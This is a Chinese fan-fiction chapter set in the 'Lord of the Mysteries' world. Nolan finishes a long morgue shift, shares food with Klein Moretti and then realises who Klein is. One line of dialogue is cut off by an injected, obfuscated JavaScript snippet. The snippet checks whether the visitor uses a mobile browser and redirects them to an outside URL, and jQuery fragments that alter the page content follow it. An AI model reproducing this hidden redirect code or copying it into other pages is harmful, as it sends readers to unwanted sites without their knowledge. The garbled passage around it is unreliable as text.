23.主角(庆锚点破200多更了点)

作品:《天使归位指南【诡秘之主】

    三十一个小时?


    听到克莱恩·莫雷蒂迟疑报出的时长,弗莱第一反应是对方在说笑。


    可体内十数年如一日的生物钟——那源于本能的饥饿感,还是在这方昼夜难辨的地下空间里,将他猛地拽回了现实。


    弗莱这才惊觉,自己竟因教导诺兰太过顺手、两人配合太过默契、工作太过投入,真的在停尸房里待了三十多个小时!


    上一顿饭是什么时候吃的,具体吃了些什么,从昨天到现在又总共吃过几顿,全都在忘我的忙碌中,模糊成了一片混沌的幻影。


    弗莱深吸一口气,望向身旁仍然精神奕奕的诺兰,带着几分宛如刚从梦境中抽离出来的恍惚,关心道:“诺兰……你还好吗?”


    此前,他已通过圣堂仲裁庭传回的密档,对诺兰的过去有所了解,清楚对方曾一度出现过非凡能力的失控,因而不免有些担心如此高强度的连续工作,会压垮这年轻人本就不够稳定的精神,诱发其二次失控。


    诺兰懵然扭头,先看向眼布血丝的弗莱,随后视线滞涩下落——


    扫过解剖台上,那两具已检查完毕、只待缝合整理的尸体……


    扫过矮柜之上,那十多页写满潦草字迹、凌乱散放的草稿……


    扫过置物架上,那一层层排列整齐、擦拭干净的整套工具……


    嘶——


    这般丰硕的“成果”,的确不像短短数小时所能完成的量级。


    但是,不同于弗莱通宵工作后的疲态,诺兰此刻——


    不累。


    不倦。


    不昏。


    不沉。


    身心俱轻,远比昨日战战兢兢迈入停尸房时更为舒展通透,充满了犹如酣睡初醒的蓬勃活力。


    他甚至能清晰感知到,长久以来盘踞于体内的那股莫名躁动感,现下也安静得似平缓的溪流,驯顺、柔和,静静滋养着他的灵魂。


    “我很好啊,”诺兰弯了弯翠色的双眸,轻松一笑道,“比以往任何时候都好。”


    闻言,邓恩审视着神色无异的诺兰,若有所思地微微颔首,温和开口道:“你比我预想的还要投入,但不要忘了无论是你,还是弗莱,都不是‘不眠者’,都需要适当的休息与——”


    “咕~”


    一声突兀的腹鸣响起,打断了邓恩未能说完的话语。


    诺兰见其余三人纷纷循声望来,他的脸颊顿时又是一阵微烫。


    抬手轻按上腹部,诺兰窘迫地干笑一声:“队长您说得太对了!我、我是该回去吃点东西,好好补一觉了。”


    邓恩轻笑道:“辛苦了,事情处理完毕就早点回去歇息,不用强撑。”


    “是,队长,”诺兰应声告辞,“那今天我就先回去了。”


    他转身拿起斜挎包,正要离开,却忽地顿住脚步。


    忙从包里摸出一支刻有自己名字缩写的圆腹钢笔,连同那本要记录他赎罪劳役实际执行情况的《核验册》,一并递到邓恩面前,轻声询问道:“队长,我这一周的劳役核验……该怎么填写?”


    今天是6月29日,周五。


    可诺兰已经完成了格雷主教的叮嘱——每周无偿为值夜者小队帮工至少三十个小时。


    见状,邓恩露出恍然之色,他伸手接过钢笔跟核验册,略一思忖,便转递给了最清楚诺兰服役表现和过程的弗莱,分工道:“你来填写,我来签字。”


    弗莱应了声“好”,取下笔帽,翻开册子,就着旁边的置物柜,飞快书写起来。


    “对了,还有一件事……”邓恩重新看向诺兰,神色平和地补充道:“格雷主教托我转告你,他先前忘了提及——你每周完成六十小时的基础服役工时后,针对超出的部分,将按每小时1苏勒3便士结算,按周发放报酬,这其中包含保密和风险补贴。”


    “全部费用由教会与阿霍瓦郡警察厅共同承担,”邓恩稍作停顿,淡笑续道,“也正因如此,你将同步拥有一个更为便利、更为体面的身份——特殊行动部第七小组的‘见习验尸官’。”


    “风险?”


    诺兰目前不愁吃也不愁住,更有静修院一众亲切和蔼的年迈修士们,总给他送来些款式、质量皆属中上的日常衣物穿,这让他完全不愿去挣任何会与“风险”沾边的额外报酬。


    至于“见习验尸官”那种听着光鲜、厉害的虚名……


    在诺兰心里,还远不如给他发点能和静修院众人分享的米面油来得实在!


    于是,邓恩·史密斯便看见诺兰·温特抬手在胸前画了一个“绯红之月”,继而态度虔诚地祈祷了一句——


    “我的女神啊,愿您庇佑我挣不到这些钱。”


    “我如今的生活已足够丰足,只差一份安稳度日的平静了,”诺兰语速飞快地说道,“我真心恳请您,还是将这笔财富送给更需要它的人吧。”


    诺兰的反应,超出邓恩的预料。


    后者怔了怔,随即领悟了诺兰不愿过多在值夜者小队露面的心思,只觉对方这回答,既谈不上含蓄,亦算不得直白,却意外很有趣,令他不禁失笑出声,眼角细纹都覆上了一层柔和的笑意:“好吧,如果这是你的选择,我们会尊重你的意愿。”


    弗莱在核验册上写完最后一笔,将手中的钢笔和册子递给邓恩签字,再看向诺兰时,他的眉眼间也染着一丝不易察觉的笑意。


    “不过该领的身份证明,还是要去领的,否则会影响你后续工作的开展。”


    邓恩把签好字的核验册,连带那支圆腹钢笔一并递还诺兰,接着交代道:“正好克莱恩等下也要去武器库找老尼尔,我让罗珊带你们一起过去,顺便认识一下小队的其他成员。”


    “下周……”


    邓恩默了默,一时间竟不知该如何分配诺兰的服役工时,索性放手道:“弗莱在时,你过来协助他;他不在时,你便去老尼尔那里补习神秘学常识——至于具体工时,你可以根据自己的日程,灵活安排。”


    “好的。”诺兰移眸,跟等在停尸房门口的克莱恩对视一眼,两人互相微笑点头致意后,他扭过头,再次向邓恩与弗莱辞行。


    哪曾想诺兰刚走到门口,又听邓恩在身后唤道:“等等,还有一件事要问你。”


    “您问。”诺兰停下脚步,转身看向邓恩。


    “你会射击吗?”邓恩问道。


    射击?


    诺兰忍不住腹诽:难道做法医还要持枪上岗?


    开枪打谁?


    打尸体吗?


    他嘴角微微一抽,心说这还真有可能。


    毕竟在《诡秘之主》的世界观里,别说尸体会突然爬起来邀活人热舞一曲了,就算是躯体已然湮灭的恶灵,都能跨纪元重为天使之王。


    “我……”诺兰如实答道,“只会用猎|枪,以前打过野兔、水鸟,还有……偷羊的狼。”


    邓恩垂眸思索片刻,认为以诺兰眼下只协助工作、不参与危险任务的现状,尚无配枪必要:“好,我知道了,这事不急。”


    “下周补习之外,”邓恩提点道,“你还可以跟着老尼尔熟悉武器库的各类配置,学习枪支弹药的辨识与基础保养。”


    这种杂务一听就足够安全,诺兰应答得干脆利落:“好的,队长!呃……”他顿了顿,主动问道,“您还有其他吩咐吗?”


    “如有发现任何你感觉‘非常’的情况,我希望你能及时向主教或我汇报,哪怕它渺小得可以忽略。”邓恩灰眸幽深地看着诺兰,眼神复杂,似有未尽之言。


    而诺兰却因邓恩这份郑重,悬起了心,直觉这绝非寻常嘱咐,更像是在同他预告一场不知何时会降临,但注定到来的灾祸……


    “好,”诺兰心情陡然转沉,轻声应道,“我记住了。”


    “没其他事了,一起出去吧,我去叫罗珊下来,”邓恩回头对弗莱说道,“你也早点回去休息。”


    满腹忧虑的诺兰,跟在那位新来的文职人员身后,先由棕发姑娘罗珊领着,上楼去认识了廷根市值夜者小队的会计“奥利安娜太太”。


    而后复又下楼,同值守武器库的老尼尔打了个照面。


    等他再次懵懵怔怔地踏上返回上层的楼梯时,又偶遇了伦纳德·米切尔。


    对方笑着打趣他,是不是背着队长,跟弗莱一起偷偷服食了“不眠者”魔药”?


    还言辞暧|昧地跟新同事说什么,呃……


    “我对你印象很深刻。”


    “你有种特别的气质。”


    ——害诺兰死死咬住下嘴唇,才勉强憋回了心里那句吐槽:你到底在用自己那张俊脸魅惑谁啊,兄弟?你是“午夜诗人”,不是“魔女”啊!


    总之,一番辗转下来,诺兰总算走出了黑荆棘安保公司所在的建筑,来到了夏风湿热的佐特兰大街上。


    肚子又毫无预兆地发出一声响亮的咕噜声,诺兰耸了耸鼻子,循着空气里飘来的食物香气,走到了路旁一个卖薄饼的小摊前:“多少钱一份?”


    “半便士一张。”摊主热情报价道。


    诺兰见那薄饼不大,就从斜挎包的内侧口袋里,掏出三枚铜币,递了过去:“来3便士的。”


    摊主接过钱,麻利装好薄饼,交给了面前这位带着朋友一同光顾他小摊的年轻客人。


    刚拿着温热软乎的薄饼,诺兰便直接咬了一口,眯眼享受着满口麦香,又挪步到一旁卖熏肠的小摊前。


    没等他开口,系着油渍围裙的胖摊主,已咧嘴笑道:“不贵,一根1便士。”


    诺兰看了看手里的薄饼,又瞅了瞅对方手上滋滋冒油的焦香熏肠,果断又摸出三枚铜币:“来三根。”


    见胖摊主收下钱就要用油纸打包,他赶忙提醒道:“不用包,直接夹进我这薄饼里就行。”


    说着,诺兰将薄饼摊开。


    等胖摊主按照他的要求,把三根熏肠整齐码进饼里,他旋即手法熟练地将薄饼卷起,张大嘴巴,连饼带肉狠狠啃下一大口,还不忘满意点评一句:“唔嗯……好吃。”


    咀嚼间,诺兰才忽然想起身后还跟着一位今天刚认识的新……


    “同事”吧?


    虽然他并非值夜者小队的正式成员,但往后必定会频繁出入黑荆棘安保公司,和罗珊、奥利安娜太太这些文职人员短暂共事,所以用“同事”一词来指代,倒也贴切。


    诺兰转头朝身后望去,冲着那位跟他同龄的新同事,扬了扬双手并用才能握住的薄饼卷熏肠,问对方道:“吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178211|194694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吗?”


    克莱恩闻言微怔,旋而含笑摇头,婉拒道:“不了,谢谢,我等下还要和家人共进晚餐。”


    “你太瘦了……”诺兰打量着新同事略显单薄的身形,边嚼边含糊道,“平时得多吃点肉、蛋,不喜欢这两种食物的话……”


    诺兰咀嚼的动作一顿,眉头微蹙,越过新同事,远望向了街角一位卖嫩豌豆的老人。


    那老人佝偻着背,干瘦得近乎脱形,黑黄的脸庞泛着一层病态的灰败,干裂的嘴唇不自觉翕动着,双眼虽已浑浊无光,却仍固执地、直直地凝望着摆在身前的那半麻袋嫩豌豆。


    “你家经常做饭吗?”


    克莱恩被诺兰这突兀又跳跃的一问,弄得一怔,下意识点头答道:“经常……”


    “那就好,你等着。”


    诺兰把没吃完的薄饼卷熏肠包好,塞入自己的斜挎包内,又用手背蹭了蹭嘴角的油渍,避开街上的马车与行人,快步走向那位卖豌豆的老人。


    拿出他从离奇暴毙的韦尔奇·麦格文那里,赚取到的6便士诊金,买下了老人售卖的所有嫩豌豆。


    “天热,早点回家吧。”


    诺兰一肩扛起那半麻袋豌豆,一手接过老人颤巍巍递来的分装布袋,转身头也不回地告别了生机无多的对方,穿过大街,重新回到了新同事身边。


    “来,拿着。”诺兰把那只打有补丁的分装布袋,递到瘦弱的新同事的勉强,让他撑开袋口。


    自己则松开扛在肩上的麻袋口,任由翠绿鲜嫩的豌豆簌簌落入对方撑着的布袋中。


    “我那边用不了这么多,这一小袋你带回去和家人一起吃,”诺兰诚恳道,“长不长肌肉不好说,但力气肯定能多一些。”


    “这……”


    克莱恩低头看着布袋里足够他跟妹妹梅丽莎吃上好几天的嫩豌豆,一边在心里暗暗嘀咕“用不了这么多还全部买下,这不就是对金钱和嫩豌豆的双重浪费吗?”,一边还是束紧袋口,对眼前这位格外关注他体魄的诺兰·温特,礼貌微笑,道了声谢。


    分完豌豆,诺兰将变轻不少的麻袋束紧袋口,夹抱在腋下,又从斜挎包里拿出他的“快乐饼卷肉”,吭哧吭哧地大口啃了起来。


    他腮帮鼓动,吃得又快又香,全然不在意周围行人投来的异样目光,丝毫没有意识到,他这行为在讲究体面、礼仪与矜持的鲁恩王国,显得有多么粗鲁、多么突兀、多么……


    多么令克莱恩·莫雷蒂——


    或者应当说是刚穿越到这个诡异世界不满两天的“周明瑞”,感到无比亲切,又无比安心。


    鲁恩人向来重视餐桌礼仪,即便是底层民众,也极少有人会在大街上边走边狼吞虎咽。


    克莱恩默默跟在诺兰身侧,一路上时不时便会拿眼角余光,偷瞟几眼这位专心享用美食的高壮同事。


    直到路口,两人互道再见,就此分别,他望着对方宽阔的背影逐渐融进人|流,才慢慢收回视线,轻笑一声,在心里由衷感慨:这个人真的太奇怪了!


    跟尸体连续打了三十多个小时的交道,居然还能有这么好的胃口,对旁人的眼光也完全不在乎……


    嘿,这兄弟的心理素质可真强悍!


    在前往静修院的路上,饥饿感稍有缓解的诺兰,也渐渐放慢了进食的速度。


    他细细品尝着熏肠的咸香,脑子里却不由自主地回放起停尸房里的那一幕幕——


    韦尔奇重度碎裂的颅骨……


    娜娅呈高度膨胀的肺部……


    分布在身体不同部位、或深或浅的尸斑……


    还有能推断出死者生前最后一餐的胃部残留物……


    这一切都带着极致的吸引力,让诺兰深深沉浸,难以抽离。


    一步。


    两步。


    三步。


    就在他迈出第四步的刹那——


    诺兰脚步蓦地一滞。


    整个人像是被一道无形的闪电骤然劈中,僵立在原地,险些被嘴里的食物噎住。


    他缓缓睁大了眼睛,脑子里嗡嗡作响,无数方才被自己忽略的细节,在这一刻尽数伴着零碎的记忆闪回,汹涌而至。


    刚刚……


    在廷根值夜者总部的停尸房……


    邓恩·史密斯介绍的那个文弱青年……


    那个拘谨、礼貌、青涩、新来的文职人员……


    那个和他一起走出总部、一路同行、又在路口分开的同事……


    ……克莱恩?


    克莱恩……


    莫雷蒂?


    诺兰僵硬地、迟缓地、一点一点地侧过身,回望向那个早已不见对方身影的十字路口……


    摊贩叫卖依旧,马车来往如常。


    初夏午后四点的阳光,斜斜洒落在神情呆滞的诺兰身上,映得他忽而失去血色的脸庞,冷汗涔涔,竟如同白日里撞见了什么骇人的东西。


    那个看起来平平无奇、普通至极的新同事……


    “克莱恩·莫雷蒂”……


    不就是《诡秘之主》那部小说里——


    不属于这个时代的愚者,


    灰雾之上的神秘主宰,


    执掌好运的黄黑之王……


    吗?